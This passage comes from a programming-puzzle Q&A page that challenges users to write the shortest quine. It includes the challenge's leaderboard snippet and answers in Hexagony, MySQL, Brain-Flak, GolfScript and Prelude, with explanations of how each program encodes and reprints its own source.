[Question] [ Using your language of choice, golf a [quine](http://en.wikipedia.org/wiki/Quine_%28computing%29). > > A **quine** is a non-empty computer program which takes no input and produces a copy of its own source code as its only output. > > > No cheating -- that means that you can't just read the source file and print it. Also, in many languages, an empty file is also a quine: that isn't considered a legit quine either. No error quines -- there is already a [separate challenge](https://codegolf.stackexchange.com/questions/36260/make-an-error-quine) for error quines. Points for: * Smallest code (in bytes) * Most obfuscated/obscure solution * Using esoteric/obscure languages * Successfully using languages that are difficult to golf in The following Stack Snippet can be used to get a quick view of the current score in each language, and thus to know which languages have existing answers and what sort of target you have to beat: ``` var QUESTION_ID=69; var OVERRIDE_USER=98; var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe";var COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk";var answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;function answersUrl(index){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER} function commentUrl(index,answers){return"https://api.stackexchange.com/2.2/answers/"+answers.join(';')+"/comments?page="+index+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER} function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(data){answers.push.apply(answers,data.items);answers_hash=[];answer_ids=[];data.items.forEach(function(a){a.comments=[];var id=+a.share_link.match(/\d+/);answer_ids.push(id);answers_hash[id]=a});if(!data.has_more)more_answers=!1;comment_page=1;getComments()}})} function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(data){data.items.forEach(function(c){if(c.owner.user_id===OVERRIDE_USER) answers_hash[c.post_id].comments.push(c)});if(data.has_more)getComments();else if(more_answers)getAnswers();else process()}})} getAnswers();var SCORE_REG=(function(){var headerTag=String.raw `h\d` var score=String.raw `\-?\d+\.?\d*` var normalText=String.raw `[^\n<>]*` var strikethrough=String.raw `<s>${normalText}</s>|<strike>${normalText}</strike>|<del>${normalText}</del>` var noDigitText=String.raw `[^\n\d<>]*` var htmlTag=String.raw `<[^\n<>]+>` return new RegExp(String.raw `<${headerTag}>`+String.raw `\s*([^\n,]*[^\s,]),.*?`+String.raw `(${score})`+String.raw `(?=`+String.raw `${noDigitText}`+String.raw `(?:(?:${strikethrough}|${htmlTag})${noDigitText})*`+String.raw `</${headerTag}>`+String.raw `)`)})();var OVERRIDE_REG=/^Override\s*header:\s*/i;function getAuthorName(a){return a.owner.display_name} function process(){var valid=[];answers.forEach(function(a){var body=a.body;a.comments.forEach(function(c){if(OVERRIDE_REG.test(c.body)) body='<h1>'+c.body.replace(OVERRIDE_REG,'')+'</h1>'});var match=body.match(SCORE_REG);if(match) valid.push({user:getAuthorName(a),size:+match[2],language:match[1],link:a.share_link,})});valid.sort(function(a,b){var aB=a.size,bB=b.size;return aB-bB});var languages={};var place=1;var lastSize=null;var lastPlace=1;valid.forEach(function(a){if(a.size!=lastSize) lastPlace=place;lastSize=a.size;++place;var answer=jQuery("#answer-template").html();answer=answer.replace("{{PLACE}}",lastPlace+".").replace("{{NAME}}",a.user).replace("{{LANGUAGE}}",a.language).replace("{{SIZE}}",a.size).replace("{{LINK}}",a.link);answer=jQuery(answer);jQuery("#answers").append(answer);var lang=a.language;lang=jQuery('<i>'+a.language+'</i>').text().toLowerCase();languages[lang]=languages[lang]||{lang:a.language,user:a.user,size:a.size,link:a.link,uniq:lang}});var langs=[];for(var lang in languages) if(languages.hasOwnProperty(lang)) langs.push(languages[lang]);langs.sort(function(a,b){if(a.uniq>b.uniq)return 1;if(a.uniq<b.uniq)return-1;return 0});for(var i=0;i<langs.length;++i) {var language=jQuery("#language-template").html();var lang=langs[i];language=language.replace("{{LANGUAGE}}",lang.lang).replace("{{NAME}}",lang.user).replace("{{SIZE}}",lang.size).replace("{{LINK}}",lang.link);language=jQuery(language);jQuery("#languages").append(language)}} ``` ``` body{text-align:left!important}#answer-list{padding:10px;float:left}#language-list{padding:10px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/primary.css?v=f52df912b654"> <div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody> </table> ``` [Answer] ## [Hexagony](https://github.com/mbuettner/hexagony), side-length ~~17~~ 16, ~~816~~ 705 bytes ``` 180963109168843880558244491673953327577233938129339173058720504081484022549811402058271303887670710274969455065557883702369807148960608553223879503892017157337685576056512546932243594316638247597075423507937943819812664454190530214807032600083287129465751195839469777849740055584043374711363571711078781297231590606019313065042667406784753422844".".>.@.#.#.#.#.#.#.#.>.(...........................<.".......".".>./.4.Q.;.+.<.#.>...........................<.".....".".>.#.#.>.N.2.'.\.>.............=.=......._.<.".....".".>.>.;.'.=.:.\.>.......................<."...".".>.\.'.%.'.<.#.>..............._.....<."...".".>.#.#.>.<.#.>...............=.=.<.".".".>.#.\.'.R./.>.................<.".!.........../.>. ``` [Try it online!](http://hexagony.tryitonline.net/#code=MTgwOTYzMTA5MTY4ODQzODgwNTU4MjQ0NDkxNjczOTUzMzI3NTc3MjMzOTM4MTI5MzM5MTczMDU4NzIwNTA0MDgxNDg0MDIyNTQ5ODExNDAyMDU4MjcxMzAzODg3NjcwNzEwMjc0OTY5NDU1MDY1NTU3ODgzNzAyMzY5ODA3MTQ4OTYwNjA4NTUzMjIzODc5NTAzODkyMDE3MTU3MzM3Njg1NTc2MDU2NTEyNTQ2OTMyMjQzNTk0MzE2NjM4MjQ3NTk3MDc1NDIzNTA3OTM3OTQzODE5ODEyNjY0NDU0MTkwNTMwMjE0ODA3MDMyNjAwMDgzMjg3MTI5NDY1NzUxMTk1ODM5NDY5Nzc3ODQ5NzQwMDU1NTg0MDQzMzc0NzExMzYzNTcxNzExMDc4NzgxMjk3MjMxNTkwNjA2MDE5MzEzMDY1MDQyNjY3NDA2Nzg0NzUzNDIyODQ0Ii4iLj4uQC4jLiMuIy4jLiMuIy4jLj4uKC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjwuIi4uLi4uLi4iLiIuPi4vLjQuUS47LisuPC4jLj4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi48LiIuLi4uLiIuIi4-LiMuIy4-Lk4uMi4nLlwuPi4uLi4uLi4uLi4uLi49Lj0uLi4uLi4uXy48LiIuLi4uLiIuIi4-Lj4uOy4nLj0uOi5cLj4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjwuIi4uLiIuIi4-LlwuJy4lLicuPC4jLj4uLi4uLi4uLi4uLi4uLi5fLi4uLi48LiIuLi4iLiIuPi4jLiMuPi48LiMuPi4uLi4uLi4uLi4uLi4uLj0uPS48LiIuIi4iLj4uIy5cLicuUi4vLj4uLi4uLi4uLi4uLi4uLi4uLjwuIi4hLi4uLi4uLi4uLi4vLj4u&input=) This is what it looks like unfolded: ``` 1 8 0 9 6 3 1 0 9 1 6 8 8 4 3 8 8 0 5 5 8 2 4 4 4 9 1 6 7 3 9 5 3 3 2 7 5 7 7 2 3 3 9 3 8 1 2 9 3 3 9 1 7 3 0 5 8 7 2 0 5 0 4 0 8 1 4 8 4 0 2 2 5 4 9 8 1 1 4 0 2 0 5 8 2 7 1 3 0 3 8 8 7 6 7 0 7 1 0 2 7 4 9 6 9 4 5 5 0 6 5 5 5 7 8 8 3 7 0 2 3 6 9 8 0 7 1 4 8 9 6 0 6 0 8 5 5 3 2 2 3 8 7 9 5 0 3 8 9 2 0 1 7 1 5 7 3 3 7 6 8 5 5 7 6 0 5 6 5 1 2 5 4 6 9 3 2 2 4 3 5 9 4 3 1 6 6 3 8 2 4 7 5 9 7 0 7 5 4 2 3 5 0 7 9 3 7 9 4 3 8 1 9 8 1 2 6 6 4 4 5 4 1 9 0 5 3 0 2 1 4 8 0 7 0 3 2 6 0 0 0 8 3 2 8 7 1 2 9 4 6 5 7 5 1 1 9 5 8 3 9 4 6 9 7 7 7 8 4 9 7 4 0 0 5 5 5 8 4 0 4 3 3 7 4 7 1 1 3 6 3 5 7 1 7 1 1 0 7 8 7 8 1 2 9 7 2 3 1 5 9 0 6 0 6 0 1 9 3 1 3 0 6 5 0 4 2 6 6 7 4 0 6 7 8 4 7 5 3 4 2 2 8 4 4 " . " . > . @ . # . # . # . # . # . # . # . > . ( . . . . . . . . . . . . . . . . . . . . . . . . . . . < . " . . . . . . . " . " . > . / . 4 . Q . ; . + . < . # . > . . . . . . . . . . . . . . . . . . . . . . . . . . . < . " . . . . . " . " . > . # . # . > . N . 2 . ' . \ . > . . . . . . . . . . . . . = . = . . . . . . . _ . < . " . . . . . " . " . > . > . ; . ' . = . : . \ . > . . . . . . . . . . . . . . . . . . . . . . . < . " . . . " . " . > . \ . ' . % . ' . < . # . > . . . . . . . . . . . . . . . _ . . . . . < . " . . . " . " . > . # . # . > . < . # . > . . . . . . . . . . . . . . . = . = . < . " . " . " . > . # . \ . ' . R . / . > . . . . . . . . . . . . . . . . . < . " . ! . . . . . . . . . . . / . > . . . . . . . . . . . . . . . . . ``` Ah well, this was quite the emotional rollercoaster... I stopped counting the number of times I switched between "haha, this is madness" and "wait, if I do *this* it should actually be fairly doable". The constraints imposed on the code by Hexagony's layout rules were... severe. It might be possible to reduce the side-length by 1 or 2 without changing the general approach, but it's going to be tough (only the cells with `#` are currently unused *and* available for the decoder). At the moment I also have absolutely no ideas left for how a more efficient approach, but I'm sure one exists. I'll give this some thought over the next few days and maybe try to golf off one side-length, before I add an explanation and everything. Well at least, I've proven it's possible... Some CJam scripts for my own future reference: * [Encoder](http://cjam.aditsu.net/#code=qS-N-Y%2514f-W%2582b) * [Literal-shortcut finder](http://cjam.aditsu.net/#code='%5B%2C_el%5EA%2Cm*%7B_N%2B%5CAb256%2546%3D*%7D%2F) [Answer] # [Hexagony](https://github.com/m-ender/hexagony), side length 11, 314 bytes ``` 164248894991581511673077637999211259627125600306858995725520485910920851569759793601722945695269172442124287874075294735023125483.....!/:;.........)%'=a':\....................\...................\..................\.................\................\...............\..............\..$@.........\$><>'?2='%.<\:;_;4Q ``` [Try it online!](https://tio.run/##jYy7CsJQEAW/RUgINnF37z7z0l@wvyApRCtt9evjtRAbUadZZg7s@XibT9fLfVlQmdg9OALFURDVEphpsoggRJJQsnIUIIG6eIQYiRCwSyAEgQuKhklYJAU0ouAShDSKMBMSk5sbg0nZLAlQKj/ZU/tkten69sW6bsa56XL7gfxfy79L/u5Fq93bqmmYmi2NTd0OuesPPe@X5QE "Hexagony – Try It Online") --- Note: Currently [the shortest program](https://codegolf.stackexchange.com/questions/69/golf-you-a-quine-for-great-good/193220#193220) is only **261** bytes long, using a similar technique. Older version: # [Hexagony](https://github.com/m-ender/hexagony), side length 11, 330 bytes ``` 362003511553420961423766261426252539048636523959468260999944549820033581478284471415809677091006384959302453627348235790194699306179..../:{;+'=1P'%'a{:..\.....................\...................\..................\.................\................\...............\..............\.............\!$><........\..@>{?2'%<......:;;4Q/ ``` [Try it online!](https://tio.run/##jY29CsJAEISfRVBSCHH/bzfR6CNof00K0UpbJQ8fL2ChIOpUO98yM@fjrT9dL/dxZCMAVkRVFoIwFOJkRtNhpKQcIG5sShwaYk4GUSSiEj6lWR0lOblIQkH1UpMSBAIYu5QUA4mWqcTixJoCsDRF4YYp6qJVM7TLaoP7alH1Q1PXuf6k/B/Lv0n@7t9tns279ctr1w1bqhZP1LStHFbj@AA "Hexagony – Try It Online") Encoder: [Try it online!](https://tio.run/##jZHNTsMwEITvfoohApoQ6v4hIdKmIMGFG6hHysEkTmyRJpVj0Up9@LJxCuKEnMiyvfPtatarRPspq@p41JttYyyehBX8UQnDmKyzJpdIEqys0XWJ4RLPtZWlND9aa5GiwDkKXVlpENaN5bpdbUUmI1IZdkoayYgJAvRfinF3Dwd8kHTLRq6GxdUU8cRJmQJcnAG6wHiR5rrUFpeXcIfFh2ipKKySNUKXiy6EuNcjuk9JlxXFpDENOQu6pkTWuQwQx3jL1Hu3B9AtyDa@RKXzIKI057mvRNZsc2oaYWNyZCrCEE1RtNIythG6JkYT0RWnl2hVs@Phej9chvtrVLIurTqFsY8i3r8cY85virtb1tei82x2PHLOyQHHCAkOmFNHA1ImeKH9gpagaEI6xxpEcs9/7Yr6kv6gN@eLeVJ@kBeDMxrPEov/EHd/IOqAe0zdKBz/h/hNS2hqc9zgFaNv "Haskell – Try It Online") The program is roughly equivalent to this Python code: [Try it online!](https://tio.run/##ZZDbbsMgDIbv8xSWpimJJrWAzWnS9i5JR9RITakCVZW@fGbSXuzABdgf/u0fLks@xjOu6zDHCdKSYJwucc6Q8le85qqawgQfgEYJgVpKrZGU8EaSQmuMKoFRWmn0gpxBoxV67ck4ZYTnRaTJu6JG7SRZpxyRlSS14zbWCi@FMOiIVSgUaR5lkZxCbb2Q3MkzN9L6qnp42t3mMYcm5blhc21b3Y7jKUAx@gnivQLo2LHis@ez4FfoOBsHBs8KgF@96t2ubjf8eG7Z9/tNBXCI5zyer4GTcErhIe//VvVdCszi/NXUXd3CC3i7XSxMe7ZQCjYQhyGFXD4Vt/zO4QJvT/7f3OE4N/f2p72@jC391vUb "Python 3 – Try It Online") Unfolded code: ``` 3 6 2 0 0 3 5 1 1 5 5 3 4 2 0 9 6 1 4 2 3 7 6 6 2 6 1 4 2 6 2 5 2 5 3 9 0 4 8 6 3 6 5 2 3 9 5 9 4 6 8 2 6 0 9 9 9 9 4 4 5 4 9 8 2 0 0 3 3 5 8 1 4 7 8 2 8 4 4 7 1 4 1 5 8 0 9 6 7 7 0 9 1 0 0 6 3 8 4 9 5 9 3 0 2 4 5 3 6 2 7 3 4 8 2 3 5 7 9 0 1 9 4 6 9 9 3 0 6 1 7 9 . . . . / : { ; + ' = 1 P ' % ' a { : . . \ . . . . . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . . \ . . . . . . . . . . . . . . \ . . . . . . . . . . . . . \ ! $ > < . . . . . . . . \ . . @ > { ? 2 ' % < . . . . . . : ; ; 4 Q / . ``` Two `.`s takes 1 bit. Any other characters take 1 bit and a base-97 digit. # Explanation Click at the images for larger size. Each explanation part has corresponding Python code to help understanding. ### Data part Instead of the complex structure used in some other answers (with `<`, `"` and some other things), I just let the IP pass through the lower half. [![Data](https://i.stack.imgur.com/qNCdCm.png)](https://i.stack.imgur.com/qNCdC.png) First, the IP runs through a lot of numbers and no-op's (`.`) and mirrors (`\`). Each digit appends to the number in the memory, so in the end the memory value is equal to the number at the start of the program. ``` mem = 362003511...99306179 ``` `!` prints it, ``` stdout.write(str(mem)) ``` and `$` jumps through the next `>`. Starting from the `<`. If the memory value `mem` is falsy (`<= 0`, i.e., the condition `mem > 0` is not satisfied), we have done printing the program, and should exit. The IP would follow the upper path. [![Exit](https://i.stack.imgur.com/JbSX5m.png)](https://i.stack.imgur.com/JbSX5.png) (let the IP runs ~~around the world~~ for about 33 commands before hitting the `@` (which terminates the program) because putting it anywhere else incurs some additional bytes) If it's true, we follow the lower path, get redirected a few times and execute some more commands before hitting another conditional. [![](https://i.stack.imgur.com/cDsecm.png)](https://i.stack.imgur.com/cDsec.png) ``` # Python # Hexagony # go to memory cell (a) # { a = 2 # ?2 # go to memory cell (b) # ' b = mem % a # % ``` Now the memory looks like this: [![Mem1](https://i.stack.imgur.com/LXFfU.png)](https://i.stack.imgur.com/LXFfU.png) If the value is truthy: ``` if b > 0: ``` the following code is executed: [![](https://i.stack.imgur.com/ykMH1m.png)](https://i.stack.imgur.com/ykMH1.png) ``` # Python # Hexagony b = ord('Q') # Q b = b*10+4 # 4 # Note: now b == ord('.')+256*3 stdout.write(chr(b%256)) # ; stdout.write(chr(b%256)) # ; ``` See detailed explanation of the `Q4` at [MartinEnder's HelloWorld Hexagony answer](https://codegolf.stackexchange.com/a/57600/69850). In short, this code prints `.` twice. Originally I planned for this to print `.` once. When I came up with this (print `.` twice) and implement it, about 10 digits were saved. Then, ``` b = mem // a # : ``` Here is a important fact I realized that saved me about 14 digits: You don't need to be at where you started. --- To understand what I'm saying, let's have a BF analogy. (skip this if you already understood) Given the code ``` while a != 0: b, a = a * 2, 0 a, b = b, 0 print(a) ``` Assuming we let `a` be the value of the current cell and `b` be the value of the right cell, a straightforward translation of this to BF is: ``` [ # while a != 0: [->++<] # b, a = a * 2, 0 >[-<+>] # a, b = b, 0 <. # print(a) ] ``` However, note that we don't need to be at the same position all the time during the program. We can let the value of `a` be whatever we are at the start of each iteration, then we have this code: ``` [ # while a != 0: [->++<] # b, a = a * 2, 0 # implicitly let (a) be at the position of (b) now . # print(a) ] ``` which is several bytes shorter. --- Also, the corner wrapping behavior also saves me from having a `\` mirror there - without it I would not be able to fit the digits (+2 digits for the `\` itself and +2 digits for an unpaired `.` to the right of it, not to mention the flags) (details: * The IP enters the lower-left corner, heading left * It get warped to the right corner, still heads left * It encounters a `\` which reflects it, now it heads right-up * It goes into the corner and get warped again to the lower-left corner ) --- If the value (of the mod 2 operation above) is falsy (zero), then we follow this path: [![](https://i.stack.imgur.com/NCG9km.png)](https://i.stack.imgur.com/NCG9k.png) ``` # Python # Hexagony # Memory visualization after execution b = mem // a # : # [click here](https://i.stack.imgur.com/s53S3.png) base = ord('a') # 97 # a y = b % base # '% offset = 33 # P1 z = y + offset # ='+ stdout.write(chr(z)) # ; # [click here](https://i.stack.imgur.com/Dfalo.png) mem = b // base # {: # [click here](https://i.stack.imgur.com/bdRHf.png) ``` I won't explain too detailed here, but the offset is actually not exactly `33`, but is congruent to `33` mod `256`. And `chr` has an implicit `% 256`. [Answer] # MySQL, 167 characters ``` SELECT REPLACE(@v:='SELECT REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\'')); ``` That's right. :-) I really did write this one myself. It was originally [posted at my site](https://joshduff.com/2008-11-29-my-accomplishment-for-the-day-a-mysql-quine.html). [Answer] # [Brain-Flak](https://github.com/DJMcMayhem/Brain-Flak), ~~9.8e580~~ ~~1.3e562~~ ~~9.3e516~~ ~~12818~~ ~~11024~~ ~~4452~~ ~~4332~~ ~~4240~~ ~~4200~~ ~~4180~~ ~~3852~~ ~~3656~~ ~~3616~~ ~~3540~~ 2485 + 3 = 2488 bytes *Now fits in the observable universe!* ``` (())(()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(()()()()())(())(())(())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(()()()()())(())(())(())(())(())(())(()())(())(())(())(()())(()()()())(())(()()()()())(()())(()())(()())(()()())(())(()())(())(()()()()())(()())(()()()()())(())(())(())(())(())(()())(())(())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(()())(()())(()())(()())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(()()())(()())(())(()()()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(())(())(())(()()())(())(())(()()())(())(())(()()())(())(()()()()())(()())(()()()()())(()()())(())(()()())(())(())(())(()())(()()())(()())(())(()()()()())(()())(())(()()())(())(()()()()())(())(())(())(()()())(())(())(())(()())(())(()())(()()()())(())(())(()()()()())(()())(()())(())(()()())(())(())(())(())(()()())(()())(())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()())(())(()()()()())(()()()()())(())(()()())(())(())(()())(())(()()()()())(())(()()()()())(())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(()()()()())(())(()()()()())(())(())(())(()())(())(()()()()())(())(())(()())(())(()())(())(()())(()())(()())(()())(())(()()()()())(()())(())(()()()()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(())(()()())(())(())(())(()())(()()()())(())(())(()())(())(()()()()())(())(())(()()()()())(())(())(()()()()())(())(())(()())(())(()())(())(()())(())(()())(())(()())(()())(()())(()())(()())(()())(())(()()())(())(())(()())(())(()()()()())(()())(()()()()())(()()())(())(())(()())(())(())(()()()()())(()()()())(()())(()())(()()())(())(()())(())(()()()()())(()())(()()()()())(())(())(())(()()()())(()()()())(()())([[]]){({}()<(([{}]())<{({}())<>(((((()()()()()){}){}){}())[()])<>{({}())<>{}({}(((()()()){}())){}{})<>{({}())<>({}(((()()()()()){})){}{}())<>{{}<>({}(((()()()()){}){}){})(<>)}}<>(({})[()()])<>}}{}<>({}(<()>)<><{({}<>)<>}<>>){({}<>)<>}{}(<>)<>{({}<>)<>}{}(((((((()()()()()){}){}){}))()))>){({}()<((({}[()])()))>)}{}<>{({}<>)<>}{}>)}{}<>{({}<>)<>}<> ``` [Try it online!](https://tio.run/nexus/brain-flak#zVVBEoMgDLz3JcmhP2CY6TsYXsLwdhpIEaoE0KrTKgjrmmRhtQEAkVo8EErrzfPB4zXSY69b6949mQunjYzzfnO38ca1ztTSXo85bM9ovr9@3@r5lTnxdO/3FG390os662U5i@Tlnp@liO2q73Do2H8z@zTymlRlb9XPft/mdO39xoz2QVZ4TOteXVfp7Lv/376vv6iXn2u/B2f/e0nxjbEWHTgPqACM85ZQxQAqDelXojrPJw0NoCXGQqULnZnNHOqJXpFqSg6YSBzC@TVlyYigNPp4nwgxOaf3Pj@jADUBqXYVR9RrLLNI0Z9aFgQkgRgnqMvS0DUpZjhlrSNtIKUfIYTn6w0 "Brain-Flak – TIO Nexus") --- ## Explanation This Quine works like most Quines in esoteric languages; it has two parts an encoder and a decoder. The encoder is all of the parentheses at the beginning and the decoder is the more complex part at the very end. A naive way of encoding the program would be to put the ASCII value of every character in the decoder to the stack. This is not a very good idea because Brain-Flak only uses 8 characters (`()<>[]{}`) so you end up paying quite a few bytes to encode very little information. A smarter idea, and the one used up until now is to assign each of the 8 braces to an much smaller number (1-8) and convert these to the ASCII values with our decoder. This is nice because it costs no more than 18 bytes to encode a character as opposed to the prior 252. However this program does neither. It relies on the fact that Brain-Flak programs are all balanced to encode the 8 braces with the numbers up to 5. It encodes them as follows. ``` ( -> 2 < -> 3 [ -> 4 { -> 5 ),>,],} -> 1 ``` All the close braces are assigned 1 because we can use context to determine which of them we need to use in a particular scenario. This may sound like a daunting task for a Brain-Flak program, but it really is not. Take for example the following encodings with the open braces decoded and the close braces replaced with a `.`: ``` (. ((.. <([.{... ``` Hopefully you can see that the algorithm is pretty simple, we read left to right, each time we encounter a open brace we push its close brace to an imaginary stack and when we encounter a `.` we pop the top value and put it in place of the `.`. This new encoding saves us an enormous number of bytes in the encoder while only losing us a handful of bytes on the decoder. ### Low level explanation *Work in progress* [Answer] ## GolfScript, 2 bytes ``` 1 ``` (note trailing newline) This pushes the number 1 onto the stack. At the end of the program, GolfScript prints out all items in the stack (with no spaces in between), then prints a newline. This is a true quine (as listed in the question), because it actually executes the code; it doesn't just "read the source file and print it" (unlike the PHP submission). --- For another example, here's a GolfScript program to print `12345678`: ``` 9,(; ``` 1. `9`: push 9 to the stack 2. [`,`](http://www.golfscript.com/golfscript/builtin.html#%2C): consume the 9 as an argument, push the array `[0 1 2 3 4 5 6 7 8]` to the stack 3. [`(`](http://www.golfscript.com/golfscript/builtin.html#%28): consume the array as an argument, push the array `[1 2 3 4 5 6 7 8]` and the item `0` to the stack 4. [`;`](http://www.golfscript.com/golfscript/builtin.html#%3B): discard the top item of the stack The stack now contains the array `[1 2 3 4 5 6 7 8]`. This gets written to standard output with no spaces between the elements, followed by a newline. [Answer] # [Prelude](http://esolangs.org/wiki/Prelude), ~~5157~~ ~~4514~~ ~~2348~~ ~~1761~~ ~~1537~~ ~~664~~ ~~569~~ ~~535~~ ~~423~~ ~~241~~ ~~214~~ ~~184~~ ~~178~~ ~~175~~ ~~169~~ ~~148~~ ~~142~~ ~~136~~ 133 bytes *Thanks to Sp3000 for saving 3 bytes.* ~~This is rather long...~~ (okay, it's still long ... at least it's beating the shortest ~~known Brainfuck~~ C# quine on this challenge now) *but* it's the first quine I discovered myself (my Lua and Julia submissions are really just translations of standard quine techniques into other languages) *and* as far as I'm aware no one has written a quine in Prelude so far, so I'm actually quite proud of this. :) ``` 7( -^^^2+8+2-!( 6+ ! ((#^#(1- )#)8(1-)8)#)4337435843475142584337433447514237963742423434123534455634423547524558455296969647344257) ``` That large number of digits is just an encoding of the core code, which is why the quine is so long. The digits encoding the quine have been generated with [this CJam script](http://cjam.aditsu.net/#code=qW%25%7Bi2%2BAb%7D%2F&input=7(%20-%5E%5E%5E2%2B8%2B2-!(%206%2B%20!%0A%20%20((%23%5E%23(1-%20)%23)8(1-)8)%23)). This requires a standard-compliant interpreter, which prints characters (using the values as character codes). So if you're using [the Python interpreter](http://web.archive.org/web/20060504072747/http://z3.ca/~lament/prelude.py) you'll need to set `NUMERIC_OUTPUT = False`. ## Explanation First, a few words about Prelude: each line in Prelude is a separate "voice" which manipulates its own stack. These stacks are initialised to an infinite number of 0s. The program is executed column by column, where all commands in the column are executed "simultaneously" based on the previous stack states. Digits are pushed onto the stack individually, so `42` will push a `4`, then a `2`. There's no way to push larger numbers directly, you'll have to add them up. Values can be copied from adjacent stacks with `v` and `^`. Brainfuck-style loops can be introduced with parentheses. See the link in the headline for more information. Here is the basic idea of the quine: first we push loads of digits onto the stack which encode the core of the quine. Said core then takes those digits,decodes them to print itself and then prints the digits as they appear in the code (and the trailing `)`). This is slightly complicated by the fact that I had to split the core over multiple lines. Originally I had the encoding at the start, but then needed to pad the other lines with the same number of spaces. This is why the initial scores were all so large. Now I've put the encoding at the end, but this means that I first need to skip the core, then push the digits, and jump back to the start and do the printing. ### The Encoding Since the code only has two voices, and and adjacency is cyclic, `^` and `v` are synonymous. That's good because `v` has by far the largest character code, so avoiding it by always using `^` makes encoding simpler. Now all character codes are in the range 10 to 94, inclusive. This means I can encode each character with exactly two decimal digits. There is one problem though: some characters, notably the linefeed, have a zero in their decimal representation. That's a problem because zeroes aren't easily distinguishable from the bottom of the stack. Luckily there's a simple fix to that: we offset the character codes by `2`, so we have a range from 12 to 96, inclusive, that still comfortably fits in two decimal digits. Now of all the characters that can appear in the Prelude program, only `0` has a 0 in its representation (50), but we really don't need `0` at all. So that's the encoding I'm using, pushing each digit individually. However, since we're working with a stack, the representations are pushed in reverse. So if you look at the end of the encoding: ``` ...9647344257 ``` Split into pairs and reverse, then subtract two, and then look up the character codes: ``` 57 42 34 47 96 55 40 32 45 94 7 ( - ^ ``` where `32` is corresponds to spaces. The core does exactly this transformation, and then prints the characters. ### The Core So let's look at how these numbers are actually processed. First, it's important to note that matching parentheses don't have to be on the same line in Prelude. There can only be one parenthesis per column, so there is no ambiguity in which parentheses belong together. In particular, the vertical position of the closing parenthesis is always irrelevant - the stack which is checked to determine whether the loop terminates (or is skipped entirely) will always be the one which has the `(`. We want to run the code exactly twice - the first time, we skip the core and push all the numbers at the end, the second time we run the core. In fact, after we've run the core, we'll push all those numbers again, but since the loop terminates afterwards, this is irrelevant. This gives the following skeleton: ``` 7( ( )43... encoding ...57) ``` First, we push a `7` onto the first voice - if we don't do this, we'd never enter the loop (for the skeleton it's only important that this is non-zero... why it's specifically `7` we'll see later). Then we enter the main loop. Now, the second voice contains another loop. On the first pass, this loop will be skipped because the second stack is empty/contains only 0s. So we jump straight to the encoding and push all those digits onto the stack. The `7` we pushed onto the first stack is still there, so the loop repeats. This time, there is also a `7` on the second stack, so we do enter loop on the second voice. The loop on the second voice is designed such that the stack is empty again at the end, so it only runs once. It will *also* deplete the first stack... So when we leave the loop on the second voice, we push all the digits again, but now the `7` on the first stack has been discarded, so the main loop ends and the program terminates. Next, let's look at the first loop in the actual core. Doing things simultaneously with a `(` or `)` is quite interesting. I've marked the loop body here with `=`: ``` -^^^2+8+2-! (#^#(1- )#) ========== ``` That means the column containing `(` is not considered part of the loop (the characters there are only executed once, and even if the loop is skipped). But the column containing the `)` *is* part of the loop and is ran once on each iteration. So we start with a single `-`, which turns the `7` on the first stack into a `-7`... again, more on that later. As for the actual loop... The loop continues while the stack of digits hasn't been emptied. It processes two digits at a time,. The purpose of this loop is to decode the encoding, print the character, and at the same time shift the stack of digits to the first voice. So this part first: ``` ^^^ #^# ``` The first column moves the 1-digit over to the first voice. The second column copies the 10-digit to the first voice while also copying the 1-digit back to the second voice. The third column moves that copy back to the first voice. That means the first voice now has the 1-digit twice and the 10-digit in between. The second voice has only another copy of the 10-digit. That means we can work with the values on the tops of the stacks and be sure 